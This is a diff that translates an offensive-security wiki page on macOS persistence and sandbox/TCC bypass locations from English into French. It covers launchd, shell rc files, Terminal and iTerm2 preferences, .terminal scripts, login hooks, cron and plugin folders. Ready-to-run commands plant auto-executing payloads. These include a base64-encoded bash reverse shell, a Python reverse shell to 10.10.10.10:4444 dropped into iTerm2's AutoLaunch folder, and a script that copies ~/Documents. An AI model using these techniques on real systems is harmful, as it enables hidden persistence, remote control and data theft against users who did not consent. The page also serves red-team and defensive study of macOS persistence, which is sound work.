`launchctl load ` It's **also possible to load .plist files without that extension** with `launchctl -F ` (however those plist files won't be automatically loaded after reboot).\ -> It's also possible to **unload** with `launchctl unload ` (the process pointed by it will be terminated), +> De nouveaux fichiers de configuration de Daemons ou d'Agents seront **chargés après le prochain redémarrage ou en utilisant** `launchctl load ` Il est **également possible de charger des fichiers .plist sans cette extension** avec `launchctl -F ` (cependant, ces fichiers plist ne seront pas chargés automatiquement après le redémarrage).\ +> Il est également possible de **décharger** avec `launchctl unload ` (le processus pointé par celui-ci sera terminé), > -> To **ensure** that there isn't **anything** (like an override) **preventing** an **Agent** or **Daemon** **from** **running** run: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` - -List all the agents and daemons loaded by the current user: +> Pour **s'assurer** qu'il n'y a **rien** (comme un remplacement) **empêchant** un **Agent** ou un **Daemon** **de** **s'exécuter**, exécutez : `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` +Listez tous les agents et daemons chargés par l'utilisateur actuel : ```bash launchctl list ``` - > [!WARNING] -> If a plist is owned by a user, even if it's in a daemon system wide folders, the **task will be executed as the user** and not as root. This can prevent some privilege escalation attacks. +> Si un plist appartient à un utilisateur, même s'il se trouve dans des dossiers de démon à l'échelle du système, la **tâche sera exécutée en tant qu'utilisateur** et non en tant que root. Cela peut empêcher certaines attaques d'escalade de privilèges. -#### More info about launchd +#### Plus d'infos sur launchd -**`launchd`** is the **first** user mode process which is started from the **kernel**. The process start must be **successful** and it **cannot exit or crash**. It's even **protected** against some **killing signals**. +**`launchd`** est le **premier** processus en mode utilisateur qui est démarré depuis le **noyau**. Le démarrage du processus doit être **réussi** et il **ne peut pas se terminer ou planter**. Il est même **protégé** contre certains **signaux de terminaison**. -One of the first things `launchd` would do is to **start** all the **daemons** like: +L'une des premières choses que `launchd` ferait est de **démarrer** tous les **démons** comme : -- **Timer daemons** based on time to be executed: - - atd (`com.apple.atrun.plist`): Has a `StartInterval` of 30min - - crond (`com.apple.systemstats.daily.plist`): Has `StartCalendarInterval` to start at 00:15 -- **Network daemons** like: - - `org.cups.cups-lpd`: Listens in TCP (`SockType: stream`) with `SockServiceName: printer` - - SockServiceName must be either a port or a service from `/etc/services` - - `com.apple.xscertd.plist`: Listens on TCP in port 1640 -- **Path daemons** that are executed when a specified path changes: - - `com.apple.postfix.master`: Checking the path `/etc/postfix/aliases` -- **IOKit notifications daemons**: - - `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` -- **Mach port:** - - `com.apple.xscertd-helper.plist`: It's indicating in the `MachServices` entry the name `com.apple.xscertd.helper` -- **UserEventAgent:** - - This is different from the previous one. It makes launchd spawn apps in response to specific event. However, in this case, the main binary involved isn't `launchd` but `/usr/libexec/UserEventAgent`. It loads plugins from the SIP restricted folder /System/Library/UserEventPlugins/ where each plugin indicates its initialiser in the `XPCEventModuleInitializer` key or. in the case of older plugins, in the `CFPluginFactories` dict under the key `FB86416D-6164-2070-726F-70735C216EC0` of its `Info.plist`. +- **Démons de minuterie** basés sur le temps à exécuter : +- atd (`com.apple.atrun.plist`) : A un `StartInterval` de 30min +- crond (`com.apple.systemstats.daily.plist`) : A `StartCalendarInterval` pour démarrer à 00:15 +- **Démons réseau** comme : +- `org.cups.cups-lpd` : Écoute en TCP (`SockType: stream`) avec `SockServiceName: printer` +- SockServiceName doit être soit un port soit un service de `/etc/services` +- `com.apple.xscertd.plist` : Écoute en TCP sur le port 1640 +- **Démons de chemin** qui sont exécutés lorsqu'un chemin spécifié change : +- `com.apple.postfix.master` : Vérifie le chemin `/etc/postfix/aliases` +- **Démons de notifications IOKit** : +- `com.apple.xartstorageremoted` : `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` +- **Port Mach :** +- `com.apple.xscertd-helper.plist` : Indique dans l'entrée `MachServices` le nom `com.apple.xscertd.helper` +- **UserEventAgent :** +- Cela est différent du précédent. Il fait en sorte que launchd lance des applications en réponse à un événement spécifique. Cependant, dans ce cas, le binaire principal impliqué n'est pas `launchd` mais `/usr/libexec/UserEventAgent`. Il charge des plugins depuis le dossier restreint par SIP /System/Library/UserEventPlugins/ où chaque plugin indique son initialiseur dans la clé `XPCEventModuleInitializer` ou, dans le cas de plugins plus anciens, dans le dictionnaire `CFPluginFactories` sous la clé `FB86416D-6164-2070-726F-70735C216EC0` de son `Info.plist`. -### shell startup files +### fichiers de démarrage shell -Writeup: [https://theevilbit.github.io/beyond/beyond_0001/](https://theevilbit.github.io/beyond/beyond_0001/)\ -Writeup (xterm): [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) +Writeup : [https://theevilbit.github.io/beyond/beyond_0001/](https://theevilbit.github.io/beyond/beyond_0001/)\ +Writeup (xterm) : [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC Bypass: [✅](https://emojipedia.org/check-mark-button) - - But you need to find an app with a TCC bypass that executes a shell that loads these files +- Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +- Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +- Mais vous devez trouver une application avec un contournement TCC qui exécute un shell qui charge ces fichiers -#### Locations +#### Emplacements - **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`** - - **Trigger**: Open a terminal with zsh +- **Déclencheur** : Ouvrir un terminal avec zsh - **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`** - - **Trigger**: Open a terminal with zsh - - Root required +- **Déclencheur** : Ouvrir un terminal avec zsh +- Root requis - **`~/.zlogout`** - - **Trigger**: Exit a terminal with zsh +- **Déclencheur** : Quitter un terminal avec zsh - **`/etc/zlogout`** - - **Trigger**: Exit a terminal with zsh - - Root required -- Potentially more in: **`man zsh`** +- **Déclencheur** : Quitter un terminal avec zsh +- Root requis +- Potentiellement plus dans : **`man zsh`** - **`~/.bashrc`** - - **Trigger**: Open a terminal with bash -- `/etc/profile` (didn't work) -- `~/.profile` (didn't work) +- **Déclencheur** : Ouvrir un terminal avec bash +- `/etc/profile` (n'a pas fonctionné) +- `~/.profile` (n'a pas fonctionné) - `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/` - - **Trigger**: Expected to trigger with xterm, but it **isn't installed** and even after installed this error is thrown: xterm: `DISPLAY is not set` +- **Déclencheur** : Attendu pour se déclencher avec xterm, mais il **n'est pas installé** et même après installation, cette erreur est lancée : xterm : `DISPLAY is not set` #### Description & Exploitation -When initiating a shell environment such as `zsh` or `bash`, **certain startup files are run**. macOS currently uses `/bin/zsh` as the default shell. This shell is automatically accessed when the Terminal application is launched or when a device is accessed via SSH. While `bash` and `sh` are also present in macOS, they need to be explicitly invoked to be used. - -The man page of zsh, which we can read with **`man zsh`** has a long description of the startup files. +Lors de l'initiation d'un environnement shell tel que `zsh` ou `bash`, **certains fichiers de démarrage sont exécutés**. macOS utilise actuellement `/bin/zsh` comme shell par défaut. Ce shell est automatiquement accessible lorsque l'application Terminal est lancée ou lorsqu'un appareil est accédé via SSH. Bien que `bash` et `sh` soient également présents dans macOS, ils doivent être explicitement invoqués pour être utilisés. +La page de manuel de zsh, que nous pouvons lire avec **`man zsh`**, a une longue description des fichiers de démarrage. ```bash # Example executino via ~/.zshrc echo "touch /tmp/hacktricks" >> ~/.zshrc ``` - -### Re-opened Applications +### Applications Rouverts > [!CAUTION] -> Configuring the indicated exploitation and loging-out and loging-in or even rebooting didn't work for me to execute the app. (The app wasn't being executed, maybe it needs to be running when these actions are performed) +> Configurer l'exploitation indiquée et se déconnecter puis se reconnecter ou même redémarrer n'a pas fonctionné pour moi pour exécuter l'application. (L'application n'était pas exécutée, peut-être qu'elle doit être en cours d'exécution lorsque ces actions sont effectuées) -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/) +**Écriture** : [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +- Contournement TCC : [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Emplacement - **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** - - **Trigger**: Restart reopening applications +- **Déclencheur** : Redémarrer les applications rouverts #### Description & Exploitation -All the applications to reopen are inside the plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` +Toutes les applications à rouvrir se trouvent dans le plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` -So, make the reopen applications launch your own one, you just need to **add your app to the list**. +Donc, pour faire en sorte que les applications rouverts lancent la vôtre, vous devez simplement **ajouter votre application à la liste**. -The UUID can be found listing that directory or with `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` - -To check the applications that will be reopened you can do: +Le UUID peut être trouvé en listant ce répertoire ou avec `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` +Pour vérifier les applications qui seront rouverts, vous pouvez faire : ```bash defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin #or plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` - -To **add an application to this list** you can use: - +Pour **ajouter une application à cette liste**, vous pouvez utiliser : ```bash # Adding iTerm2 /usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \ - -c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \ - -c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \ - -c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \ - -c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \ - ~/Library/Preferences/ByHost/com.apple.loginwindow..plist +-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \ +-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \ +-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \ +-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \ +~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` +### Préférences du Terminal -### Terminal Preferences +- Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +- Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +- Utilisation du Terminal pour avoir les permissions FDA de l'utilisateur qui l'utilise -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - Terminal use to have FDA permissions of the user use it - -#### Location +#### Emplacement - **`~/Library/Preferences/com.apple.Terminal.plist`** - - **Trigger**: Open Terminal +- **Déclencheur** : Ouvrir le Terminal #### Description & Exploitation -In **`~/Library/Preferences`** are store the preferences of the user in the Applications. Some of these preferences can hold a configuration to **execute other applications/scripts**. +Dans **`~/Library/Preferences`** sont stockées les préférences de l'utilisateur dans les Applications. Certaines de ces préférences peuvent contenir une configuration pour **exécuter d'autres applications/scripts**. -For example, the Terminal can execute a command in the Startup: +Par exemple, le Terminal peut exécuter une commande au démarrage :
-This config is reflected in the file **`~/Library/Preferences/com.apple.Terminal.plist`** like this: - +Cette configuration est reflétée dans le fichier **`~/Library/Preferences/com.apple.Terminal.plist`** comme ceci : ```bash [...] "Window Settings" => { - "Basic" => { - "CommandString" => "touch /tmp/terminal_pwn" - "Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf } - "FontAntialias" => 1 - "FontWidthSpacing" => 1.004032258064516 - "name" => "Basic" - "ProfileCurrentVersion" => 2.07 - "RunCommandAsShell" => 0 - "type" => "Window Settings" - } +"Basic" => { +"CommandString" => "touch /tmp/terminal_pwn" +"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf } +"FontAntialias" => 1 +"FontWidthSpacing" => 1.004032258064516 +"name" => "Basic" +"ProfileCurrentVersion" => 2.07 +"RunCommandAsShell" => 0 +"type" => "Window Settings" +} [...] ``` +Donc, si le plist des préférences du terminal dans le système peut être écrasé, la fonctionnalité **`open`** peut être utilisée pour **ouvrir le terminal et cette commande sera exécutée**. -So, if the plist of the preferences of the terminal in the system could be overwritten, the the **`open`** functionality can be used to **open the terminal and that command will be executed**. - -You can add this from the cli with: - +Vous pouvez ajouter cela depuis le cli avec : ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist @@ -245,24 +232,22 @@ You can add this from the cli with: # Remove /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist ``` +### Scripts de terminal / Autres extensions de fichiers -### Terminal Scripts / Other file extensions +- Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +- Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +- Utilisation du terminal pour avoir les permissions FDA de l'utilisateur qui l'utilise -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - Terminal use to have FDA permissions of the user use it +#### Emplacement -#### Location - -- **Anywhere** - - **Trigger**: Open Terminal +- **Partout** +- **Déclencheur** : Ouvrir le terminal #### Description & Exploitation -If you create a [**`.terminal`** script](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) and opens, the **Terminal application** will be automatically invoked to execute the commands indicated in there. If the Terminal app has some special privileges (such as TCC), your command will be run with those special privileges. - -Try it with: +Si vous créez un [**`.terminal`** script](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) et l'ouvrez, l'**application Terminal** sera automatiquement invoquée pour exécuter les commandes indiquées. Si l'application Terminal a des privilèges spéciaux (comme TCC), votre commande sera exécutée avec ces privilèges spéciaux. +Essayez-le avec : ```bash # Prepare the payload cat > /tmp/test.terminal << EOF @@ -270,16 +255,16 @@ cat > /tmp/test.terminal << EOF - CommandString - mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents; - ProfileCurrentVersion - 2.0600000000000001 - RunCommandAsShell - - name - exploit - type - Window Settings +CommandString +mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents; +ProfileCurrentVersion +2.0600000000000001 +RunCommandAsShell + +name +exploit +type +Window Settings EOF @@ -290,48 +275,47 @@ open /tmp/test.terminal # Use something like the following for a reverse shell: echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash; ``` - -You could also use the extensions **`.command`**, **`.tool`**, with regular shell scripts content and they will be also opened by Terminal. +Vous pouvez également utiliser les extensions **`.command`**, **`.tool`**, avec du contenu de scripts shell réguliers et ils seront également ouverts par Terminal. > [!CAUTION] -> If terminal has **Full Disk Access** it will be able to complete that action (note that the command executed will be visible in a terminal window). +> Si le terminal a **Full Disk Access**, il pourra compléter cette action (notez que la commande exécutée sera visible dans une fenêtre de terminal). -### Audio Plugins +### Plugins Audio -Writeup: [https://theevilbit.github.io/beyond/beyond_0013/](https://theevilbit.github.io/beyond/beyond_0013/)\ -Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) +Écriture : [https://theevilbit.github.io/beyond/beyond_0013/](https://theevilbit.github.io/beyond/beyond_0013/)\ +Écriture : [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - You might get some extra TCC access +- Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +- Contournement TCC : [🟠](https://emojipedia.org/large-orange-circle) +- Vous pourriez obtenir un accès TCC supplémentaire -#### Location +#### Emplacement - **`/Library/Audio/Plug-Ins/HAL`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- Accès root requis +- **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur - **`/Library/Audio/Plug-ins/Components`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- Accès root requis +- **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur - **`~/Library/Audio/Plug-ins/Components`** - - **Trigger**: Restart coreaudiod or the computer +- **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur - **`/System/Library/Components`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- Accès root requis +- **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur #### Description -According to the previous writeups it's possible to **compile some audio plugins** and get them loaded. +Selon les écrits précédents, il est possible de **compiler certains plugins audio** et de les charger. -### QuickLook Plugins +### Plugins QuickLook -Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/) +Écriture : [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - You might get some extra TCC access +- Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +- Contournement TCC : [🟠](https://emojipedia.org/large-orange-circle) +- Vous pourriez obtenir un accès TCC supplémentaire -#### Location +#### Emplacement - `/System/Library/QuickLook` - `/Library/QuickLook` @@ -341,27 +325,26 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.g #### Description & Exploitation -QuickLook plugins can be executed when you **trigger the preview of a file** (press space bar with the file selected in Finder) and a **plugin supporting that file type** is installed. +Les plugins QuickLook peuvent être exécutés lorsque vous **déclenchez l'aperçu d'un fichier** (appuyez sur la barre d'espace avec le fichier sélectionné dans Finder) et qu'un **plugin prenant en charge ce type de fichier** est installé. -It's possible to compile your own QuickLook plugin, place it in one of the previous locations to load it and then go to a supported file and press space to trigger it. +Il est possible de compiler votre propre plugin QuickLook, de le placer dans l'un des emplacements précédents pour le charger, puis d'aller à un fichier pris en charge et d'appuyer sur la barre d'espace pour le déclencher. -### ~~Login/Logout Hooks~~ +### ~~Hooks de Connexion/Déconnexion~~ > [!CAUTION] -> This didn't work for me, neither with the user LoginHook nor with the root LogoutHook +> Cela n'a pas fonctionné pour moi, ni avec le LoginHook de l'utilisateur ni avec le LogoutHook root -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0022/](https://theevilbit.github.io/beyond/beyond_0022/) +**Écriture** : [https://theevilbit.github.io/beyond/beyond_0022/](https://theevilbit.github.io/beyond/beyond_0022/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +- Contournement TCC : [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Emplacement -- You need to be able to execute something like `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` - - `Lo`cated in `~/Library/Preferences/com.apple.loginwindow.plist` - -They are deprecated but can be used to execute commands when a user logs in. +- Vous devez être capable d'exécuter quelque chose comme `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` +- `Lo`cated in `~/Library/Preferences/com.apple.loginwindow.plist` +Ils sont obsolètes mais peuvent être utilisés pour exécuter des commandes lorsqu'un utilisateur se connecte. ```bash cat > $HOME/hook.sh << EOF #!/bin/bash @@ -371,97 +354,85 @@ chmod +x $HOME/hook.sh defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh ``` - -This setting is stored in `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` - +Ce paramètre est stocké dans `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` ```bash defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist { - LoginHook = "/Users/username/hook.sh"; - LogoutHook = "/Users/username/hook.sh"; - MiniBuddyLaunch = 0; - TALLogoutReason = "Shut Down"; - TALLogoutSavesState = 0; - oneTimeSSMigrationComplete = 1; +LoginHook = "/Users/username/hook.sh"; +LogoutHook = "/Users/username/hook.sh"; +MiniBuddyLaunch = 0; +TALLogoutReason = "Shut Down"; +TALLogoutSavesState = 0; +oneTimeSSMigrationComplete = 1; } ``` - -To delete it: - +Pour le supprimer : ```bash defaults delete com.apple.loginwindow LoginHook defaults delete com.apple.loginwindow LogoutHook ``` +L'utilisateur root est stocké dans **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** -The root user one is stored in **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** - -## Conditional Sandbox Bypass +## Contournement conditionnel du bac à sable > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** and **expecting not super common conditions** like specific **programs installed, "uncommon" user** actions or environments. +> Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement du bac à sable** qui vous permet d'exécuter simplement quelque chose en **l'écrivant dans un fichier** et en **attendant des conditions pas très courantes** comme des **programmes spécifiques installés, des actions d'utilisateur "inhabituelles"** ou des environnements. ### Cron -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0004/](https://theevilbit.github.io/beyond/beyond_0004/) +**Écriture**: [https://theevilbit.github.io/beyond/beyond_0004/](https://theevilbit.github.io/beyond/beyond_0004/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - However, you need to be able to execute `crontab` binary - - Or be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button) +- Cependant, vous devez être capable d'exécuter le binaire `crontab` +- Ou être root +- Contournement TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Emplacement - **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** - - Root required for direct write access. No root required if you can execute `crontab ` - - **Trigger**: Depends on the cron job +- Root requis pour un accès en écriture direct. Pas de root requis si vous pouvez exécuter `crontab ` +- **Déclencheur**: Dépend du travail cron #### Description & Exploitation -List the cron jobs of the **current user** with: - +Listez les travaux cron de l'**utilisateur actuel** avec: ```bash crontab -l ``` +Vous pouvez également voir tous les cron jobs des utilisateurs dans **`/usr/lib/cron/tabs/`** et **`/var/at/tabs/`** (nécessite les droits root). -You can also see all the cron jobs of the users in **`/usr/lib/cron/tabs/`** and **`/var/at/tabs/`** (needs root). - -In MacOS several folders executing scripts with **certain frequency** can be found in: - +Dans MacOS, plusieurs dossiers exécutant des scripts avec **une certaine fréquence** peuvent être trouvés dans : ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` +Là, vous pouvez trouver les **cron** **jobs** réguliers, les **at** **jobs** (peu utilisés) et les **periodic** **jobs** (principalement utilisés pour nettoyer les fichiers temporaires). Les **periodic** **jobs** quotidiens peuvent être exécutés par exemple avec : `periodic daily`. -There you can find the regular **cron** **jobs**, the **at** **jobs** (not very used) and the **periodic** **jobs** (mainly used for cleaning temporary files). The daily periodic jobs can be executed for example with: `periodic daily`. - -To add a **user cronjob programatically** it's possible to use: - +Pour ajouter un **user cronjob programmatically**, il est possible d'utiliser : ```bash echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron crontab /tmp/cron ``` - ### iTerm2 Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.github.io/beyond/beyond_0002/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - iTerm2 use to have granted TCC permissions +- Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +- Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +- iTerm2 avait des autorisations TCC accordées #### Locations - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** - - **Trigger**: Open iTerm +- **Déclencheur** : Ouvrir iTerm - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** - - **Trigger**: Open iTerm +- **Déclencheur** : Ouvrir iTerm - **`~/Library/Preferences/com.googlecode.iterm2.plist`** - - **Trigger**: Open iTerm +- **Déclencheur** : Ouvrir iTerm #### Description & Exploitation -Scripts stored in **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** will be executed. For example: - +Les scripts stockés dans **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** seront exécutés. Par exemple : ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF #!/bin/bash @@ -470,52 +441,44 @@ EOF chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" ``` - -or: - +ou : ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF #!/usr/bin/env python3 import iterm2,socket,subprocess,os async def main(connection): - s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']); - async with iterm2.CustomControlSequenceMonitor( - connection, "shared-secret", r'^create-window$') as mon: - while True: - match = await mon.async_get() - await iterm2.Window.async_create(connection) +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']); +async with iterm2.CustomControlSequenceMonitor( +connection, "shared-secret", r'^create-window$') as mon: +while True: +match = await mon.async_get() +await iterm2.Window.async_create(connection) iterm2.run_forever(main) EOF ``` - -The script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** will also be executed: - +Le script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** sera également exécuté : ```bash do shell script "touch /tmp/iterm2-autolaunchscpt" ``` +Les préférences d'iTerm2 situées dans **`~/Library/Preferences/com.googlecode.iterm2.plist`** peuvent **indiquer une commande à exécuter** lorsque le terminal iTerm2 est ouvert. -The iTerm2 preferences located in **`~/Library/Preferences/com.googlecode.iterm2.plist`** can **indicate a command to execute** when the iTerm2 terminal is opened. - -This setting can be configured in the iTerm2 settings: +Ce paramètre peut être configuré dans les paramètres d'iTerm2 :
-And the command is reflected in the preferences: - +Et la commande est reflétée dans les préférences : ```bash plutil -p com.googlecode.iterm2.plist { - [...] - "New Bookmarks" => [ - 0 => { - [...] - "Initial Text" => "touch /tmp/iterm-start-command" +[...] +"New Bookmarks" => [ +0 => { +[...] +"Initial Text" => "touch /tmp/iterm-start-command" ``` - -You can set the command to execute with: - +Vous pouvez définir la commande à exécuter avec : ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist @@ -526,28 +489,26 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2 # Remove /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist ``` - > [!WARNING] -> Highly probable there are **other ways to abuse the iTerm2 preferences** to execute arbitrary commands. +> Il est très probable qu'il existe **d'autres moyens d'abuser des préférences d'iTerm2** pour exécuter des commandes arbitraires. ### xbar Writeup: [https://theevilbit.github.io/beyond/beyond_0007/](https://theevilbit.github.io/beyond/beyond_0007/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But xbar must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Accessibility permissions +- Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +- Mais xbar doit être installé +- Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +- Il demande des autorisations d'accessibilité #### Location - **`~/Library/Application\ Support/xbar/plugins/`** - - **Trigger**: Once xbar is executed +- **Déclencheur** : Une fois xbar exécuté #### Description -If the popular program [**xbar**](https://github.com/matryer/xbar) is installed, it's possible to write a shell script in **`~/Library/Application\ Support/xbar/plugins/`** which will be executed when xbar is started: - +Si le programme populaire [**xbar**](https://github.com/matryer/xbar) est installé, il est possible d'écrire un script shell dans **`~/Library/Application\ Support/xbar/plugins/`** qui sera exécuté lorsque xbar sera démarré : ```bash cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF #!/bin/bash @@ -555,79 +516,76 @@ touch /tmp/xbar EOF chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" ``` - ### Hammerspoon -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0008/](https://theevilbit.github.io/beyond/beyond_0008/) +**Écriture**: [https://theevilbit.github.io/beyond/beyond_0008/](https://theevilbit.github.io/beyond/beyond_0008/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But Hammerspoon must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Accessibility permissions +- Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +- Mais Hammerspoon doit être installé +- Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +- Il demande des autorisations d'accessibilité 